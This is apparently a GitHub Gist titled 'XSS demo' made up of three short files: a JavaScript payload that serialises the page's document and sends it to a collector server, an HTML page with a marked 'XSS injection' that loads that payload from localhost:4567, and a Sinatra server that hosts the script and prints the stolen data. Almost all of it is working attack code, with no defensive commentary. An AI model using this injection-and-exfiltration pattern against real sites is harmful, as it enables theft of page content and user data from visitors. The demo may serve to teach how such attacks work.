Last active
August 29, 2015 14:26
-
-
Save jtomschroeder/c543f605c885dfc34c9f to your computer and use it in GitHub Desktop.
XSS demo
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$.get("http://localhost:4567/?document=" + encodeURIComponent(JSON.stringify(document)), function(data, status) {}); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<html> | |
<body> | |
Hello, world! | |
<!-- XSS injection --> | |
<script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.4/jquery.min.js"></script> | |
<script type="text/javascript" src="http://localhost:4567/code"></script> | |
</body> | |
</html> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
require 'sinatra' | |
get '/code' do | |
File.read("code.js") | |
end | |
get '/' do | |
puts params["document"] | |
end |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment